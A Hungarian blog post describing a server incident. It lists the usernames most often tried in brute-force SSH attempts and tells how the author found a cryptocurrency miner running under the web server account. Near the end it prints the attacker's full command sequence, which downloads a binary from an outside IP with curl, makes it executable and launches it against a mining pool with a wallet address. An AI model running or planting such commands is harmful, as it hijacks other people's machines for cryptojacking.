Mostani munkám során ismét egy webszolgáltatást kell felépítenem. Kineveztünk egy dedikált gépet, ahol a PHP/MySQL/Apache hármas teljesíteni fogja a feladatát. A rendszergazdai feladatokkal nem engem bíztak meg, aminek örültem. Semmi kedvem nem volt egy szutyok PC-t szerverré varázsolni és olyan kérdésekre keresni a választ, mint: "miért nem megy?"
A rendszergazda természetesen mindjárt virtuális gépet rakott fel és abban futott a szerver, aminek annyira nem örültem, de ha úgysem én csinálom, akkor végül is mindegy. De mint kiderült, nem tudtam magam teljesen kivonni a munkából. A rendszergazda megkérdezte, milyen programokat telepítsen rá, én megadtam a listát, úgyhogy csak a fele hiányzott annak, amit kértem. Mivel felvettek a sudo csoportba, nem akadékoskodtam, csak elkezdtem felrakni, ami kellett.
Természetesen a telepítés sem ment zökkenő mentesen. A gép random időközönként újra indult. Az elején azt hittem, ez annak a hozadéka, hogy egyszerre dolgozunk a szerveren és a konfigurálás után újra indítják a gépet, de miután én voltam az egyedüli bejelentkezett felhasználó, kezdtem gyanakodni, hogy más állhat a háttérben.
Miután a negyedik adatbázis import sem sikerült, egyre erősödött bennem a gyanú, hogy az I/O terheléssel függ össze a dolog, de nem fértem hozzá a gazda géphez, ezért gondoltam, lepasszolom a feladatot, de előtte megnéztem a logokat. Percenként átlagosan 10-15 sikertelen belépési kísérlet volt. Összeszedtem a legnépszerűbb felhasználói neveket az auth.log-ból (a szám, hogy hányszor próbáltak az adott felhasználóval belépni):
170 admin
39 user
32 test
23 ubnt
21 support
21 ftpuser
18 pi
18 from
14 guest
13 postgres
13 oracle
13 adm
12 operator
11 super
10 default
10 1234
8 ubuntu
8 manager
6 testuser
6 jboss
Aztán megnéztem az auth.log.1-t is, mert az mégis csak nagyobb időt ölel fel:
491 admin
162 user
86 test
64 ftpuser
57 support
56 guest
55 ubnt
54 laszlo
54 jozsef
54 janos
54 istvan
54 csaba
46 andor
44 pi
43 alex
38 soma
38 matyas
38 imre
38 andras
37 zsigmond
Ez igen! Ezek elvégezték a házi feladatot. Magyar szervert magyar nevekkel törünk. Egyebkent Ukrán IP-ről jöttek a kérések. Megnéztem, milyen keresztnevekkel próbálkoztak, de érdekes módon nem az összeset használták. A lányom neve például nem szerepelt, de a "brajen" vagy "duci" igen. A férfi keresztnevek csúnyán felül reprezentáltak voltak. Nem elég, hogy fel akarják törni a gépet, még szexisták is.
Aztán egy ideig nem foglalkoztam a dologgal, a rendszergazda is elvolt azzal, hogy kitalálja, miért indul újra a szerver. Végül megoldotta azzal, hogy lekorlátozta a memória használatot 4GB-ra. Én közben befejeztem az adatbázis importálást és kellett némi tuningolást eszközölnöm a szerver oldali modulon, mert a felettesem kifogásolta, hogy nem fut le 5 másodperc alatt (differenciál expressziót számol 1098 mintára, esély sincs rá, hogy lefusson ennyi idő alatt, de ez az én bajom).
Végül mégis utolért a rettegett kérdés: Miért ilyen lassú? Tizenöt perce fut egy kérés. Hmm, ez azért tényleg furcsa. A rendszergazda külföldön volt, így engem ért a megtiszteltetés, hogy ezzel foglalkozzam. A gépen 5-ös load volt és három szálat az nttprd foglalt le. Miután megnéztem a futó folyamat részleteit, rájöttem, hogy mindenem megvan! Ugyanis egészen eddig csak a bitcoin bányászok hiányoztak az életemből.
Egy ilyen kis szeretet csomag futott a webszerver jogosultságával:
mkdir /tmp/.x11_kenp0le/
curl http://185.165.169.146/sen -o /tmp/.x11_kenp0le/nttprd
chmod +x /tmp/.x11_kenp0le/nttprd
/tmp/.x11_kenp0le/nttprd -B -a cryptonight -o stratum+tcp://pool.minexmr.com:80 -u 49CSBHFhjm5RVGiJuVh7ANEsdozsXMfkCE2rCEHXjTgoJNVdSzyvg8tM1xLpQH8R7mfcEf5jtArJf5S9XBrgfmNz5yTRMiM -p x &>>/dev/null
Egy Seychelle-szigeteken bejegyzett szerverről töltötték le a kódot, a bitcoin felhasználó számomra lenyomozhatatlan. Mire összeszedtem mindent, ismét történt egy újraindulás. A /tmp kiürült és semmi nyoma nem maradt az egésznek.
